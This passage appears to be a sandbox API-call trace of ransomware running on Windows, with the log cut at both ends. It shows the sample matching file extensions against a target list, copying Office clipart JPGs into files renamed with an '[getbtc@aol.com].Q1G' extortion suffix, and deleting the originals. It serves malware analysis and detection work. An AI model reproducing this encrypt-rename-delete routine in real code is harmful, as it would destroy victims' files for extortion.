lstrlenW (lpString=".zip") returned 4 [0264.047] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.047] lstrlenW (lpString=".rar") returned 4 [0264.047] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.047] lstrlenW (lpString=".bz2") returned 4 [0264.047] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.047] lstrlenW (lpString=".7z") returned 3 [0264.047] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned 63 [0264.047] lstrlenW (lpString=".dbf") returned 4 [0264.047] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0264.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned 63 [0264.047] lstrlenW (lpString=".1cd") returned 4 [0264.047] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned 63 [0264.047] lstrlenW (lpString=".jpg") returned 4 [0264.047] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.047] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0264.048] lstrlenW (lpString="J0178460.JPG") returned 12 [0264.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0264.071] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=26531) returned 1 [0264.071] CloseHandle (hObject=0x3a8) returned 1 [0264.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg")) returned 0x20 [0264.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0264.072] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.072] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0264.072] GetLastError () returned 0x0 [0264.073] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x67a3, lpOverlapped=0x0) returned 1 [0264.089] WriteFile (in: hFile=0x1f8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x67b0, lpOverlapped=0x0) returned 1 [0264.090] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.090] WriteFile (in: hFile=0x1f8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.090] SetEndOfFile (hFile=0x1f8) returned 1 [0264.090] CloseHandle (hObject=0x1f8) returned 1 [0264.090] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.090] SetEndOfFile (hFile=0x3a8) returned 1 [0264.092] CloseHandle (hObject=0x3a8) returned 1 [0264.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.423] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178460.jpg")) returned 1 [0264.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned 63 [0264.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned 63 [0264.431] lstrlenW (lpString=".doc") returned 4 [0264.431] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0264.431] lstrlenW (lpString=".docx") returned 5 [0264.431] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0264.431] lstrlenW (lpString=".pdf") returned 4 [0264.431] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0264.431] lstrlenW (lpString=".xls") returned 4 [0264.431] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0264.431] lstrlenW (lpString=".xlsx") returned 5 [0264.431] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0264.431] lstrlenW (lpString=".ppt") returned 4 [0264.431] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0264.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned 63 [0264.431] lstrlenW (lpString=".zip") returned 4 [0264.431] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.431] lstrlenW (lpString=".rar") returned 4 [0264.431] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.431] lstrlenW (lpString=".bz2") returned 4 [0264.431] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.431] lstrlenW (lpString=".7z") returned 3 [0264.431] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned 63 [0264.431] lstrlenW (lpString=".dbf") returned 4 [0264.431] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0264.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned 63 [0264.431] lstrlenW (lpString=".1cd") returned 4 [0264.431] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned 63 [0264.431] lstrlenW (lpString=".jpg") returned 4 [0264.431] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned 63 [0264.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned 63 [0264.431] lstrlenW (lpString=".doc") returned 4 [0264.432] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0264.432] lstrlenW (lpString=".docx") returned 5 [0264.432] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0264.432] lstrlenW (lpString=".pdf") returned 4 [0264.432] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0264.432] lstrlenW (lpString=".xls") returned 4 [0264.432] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0264.432] lstrlenW (lpString=".xlsx") returned 5 [0264.432] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0264.432] lstrlenW (lpString=".ppt") returned 4 [0264.432] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0264.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned 63 [0264.432] lstrlenW (lpString=".zip") returned 4 [0264.432] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.432] lstrlenW (lpString=".rar") returned 4 [0264.432] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.432] lstrlenW (lpString=".bz2") returned 4 [0264.432] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.432] lstrlenW (lpString=".7z") returned 3 [0264.432] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned 63 [0264.432] lstrlenW (lpString=".dbf") returned 4 [0264.432] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0264.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned 63 [0264.432] lstrlenW (lpString=".1cd") returned 4 [0264.432] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178460.JPG") returned 63 [0264.432] lstrlenW (lpString=".jpg") returned 4 [0264.432] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.432] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0264.432] lstrlenW (lpString="J0178632.JPG") returned 12 [0264.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0264.476] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=23338) returned 1 [0264.476] CloseHandle (hObject=0x1f8) returned 1 [0264.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg")) returned 0x20 [0264.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0264.483] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.483] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0264.484] GetLastError () returned 0x0 [0264.484] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x5b2a, lpOverlapped=0x0) returned 1 [0264.486] WriteFile (in: hFile=0x3a0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x5b30, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x5b30, lpOverlapped=0x0) returned 1 [0264.487] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.487] WriteFile (in: hFile=0x3a0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.487] SetEndOfFile (hFile=0x3a0) returned 1 [0264.487] CloseHandle (hObject=0x3a0) returned 1 [0264.487] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.504] SetEndOfFile (hFile=0x3a8) returned 1 [0264.506] CloseHandle (hObject=0x3a8) returned 1 [0264.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.507] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg")) returned 1 [0264.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned 63 [0264.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned 63 [0264.507] lstrlenW (lpString=".doc") returned 4 [0264.507] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0264.507] lstrlenW (lpString=".docx") returned 5 [0264.507] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0264.507] lstrlenW (lpString=".pdf") returned 4 [0264.508] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0264.508] lstrlenW (lpString=".xls") returned 4 [0264.508] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0264.508] lstrlenW (lpString=".xlsx") returned 5 [0264.508] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0264.508] lstrlenW (lpString=".ppt") returned 4 [0264.508] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0264.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned 63 [0264.508] lstrlenW (lpString=".zip") returned 4 [0264.508] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.508] lstrlenW (lpString=".rar") returned 4 [0264.508] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.508] lstrlenW (lpString=".bz2") returned 4 [0264.508] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.508] lstrlenW (lpString=".7z") returned 3 [0264.508] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned 63 [0264.508] lstrlenW (lpString=".dbf") returned 4 [0264.508] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0264.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned 63 [0264.508] lstrlenW (lpString=".1cd") returned 4 [0264.508] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned 63 [0264.508] lstrlenW (lpString=".jpg") returned 4 [0264.508] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned 63 [0264.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned 63 [0264.508] lstrlenW (lpString=".doc") returned 4 [0264.508] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0264.508] lstrlenW (lpString=".docx") returned 5 [0264.508] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0264.508] lstrlenW (lpString=".pdf") returned 4 [0264.508] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0264.508] lstrlenW (lpString=".xls") returned 4 [0264.508] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0264.508] lstrlenW (lpString=".xlsx") returned 5 [0264.509] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0264.509] lstrlenW (lpString=".ppt") returned 4 [0264.509] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0264.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned 63 [0264.509] lstrlenW (lpString=".zip") returned 4 [0264.509] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.509] lstrlenW (lpString=".rar") returned 4 [0264.509] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.509] lstrlenW (lpString=".bz2") returned 4 [0264.509] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.509] lstrlenW (lpString=".7z") returned 3 [0264.509] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned 63 [0264.509] lstrlenW (lpString=".dbf") returned 4 [0264.509] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0264.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned 63 [0264.509] lstrlenW (lpString=".1cd") returned 4 [0264.509] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG") returned 63 [0264.509] lstrlenW (lpString=".jpg") returned 4 [0264.509] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.509] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0264.509] lstrlenW (lpString="J0179963.JPG") returned 12 [0264.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0264.510] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=32110) returned 1 [0264.510] CloseHandle (hObject=0x3a8) returned 1 [0264.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg")) returned 0x20 [0264.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0264.510] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.510] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0264.511] GetLastError () returned 0x0 [0264.511] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x7d6e, lpOverlapped=0x0) returned 1 [0264.513] WriteFile (in: hFile=0x3a0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x7d70, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x7d70, lpOverlapped=0x0) returned 1 [0264.514] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.514] WriteFile (in: hFile=0x3a0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.514] SetEndOfFile (hFile=0x3a0) returned 1 [0264.514] CloseHandle (hObject=0x3a0) returned 1 [0264.514] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.514] SetEndOfFile (hFile=0x3a8) returned 1 [0264.517] CloseHandle (hObject=0x3a8) returned 1 [0264.517] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.517] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg")) returned 1 [0264.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned 63 [0264.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned 63 [0264.518] lstrlenW (lpString=".doc") returned 4 [0264.518] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0264.518] lstrlenW (lpString=".docx") returned 5 [0264.518] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0264.518] lstrlenW (lpString=".pdf") returned 4 [0264.518] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0264.518] lstrlenW (lpString=".xls") returned 4 [0264.518] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0264.518] lstrlenW (lpString=".xlsx") returned 5 [0264.518] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0264.518] lstrlenW (lpString=".ppt") returned 4 [0264.518] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0264.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned 63 [0264.518] lstrlenW (lpString=".zip") returned 4 [0264.518] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.518] lstrlenW (lpString=".rar") returned 4 [0264.518] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.518] lstrlenW (lpString=".bz2") returned 4 [0264.518] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.518] lstrlenW (lpString=".7z") returned 3 [0264.518] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned 63 [0264.518] lstrlenW (lpString=".dbf") returned 4 [0264.518] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0264.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned 63 [0264.518] lstrlenW (lpString=".1cd") returned 4 [0264.518] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0264.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned 63 [0264.518] lstrlenW (lpString=".jpg") returned 4 [0264.518] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0264.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned 63 [0264.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned 63 [0264.518] lstrlenW (lpString=".doc") returned 4 [0264.518] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0264.519] lstrlenW (lpString=".docx") returned 5 [0264.519] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0264.519] lstrlenW (lpString=".pdf") returned 4 [0264.519] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0264.519] lstrlenW (lpString=".xls") returned 4 [0264.519] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0264.519] lstrlenW (lpString=".xlsx") returned 5 [0264.519] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0264.519] lstrlenW (lpString=".ppt") returned 4 [0264.519] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0264.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned 63 [0264.519] lstrlenW (lpString=".zip") returned 4 [0264.519] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0264.519] lstrlenW (lpString=".rar") returned 4 [0264.519] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0264.519] lstrlenW (lpString=".bz2") returned 4 [0264.519] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0264.519] lstrlenW (lpString=".7z") returned 3 [0264.519] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0264.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned 63 [0264.519] lstrlenW (lpString=".dbf") returned 4 [0264.519] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0264.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG") returned 63 [0264.519] lstrlenW (lpString=".1cd") returned 4 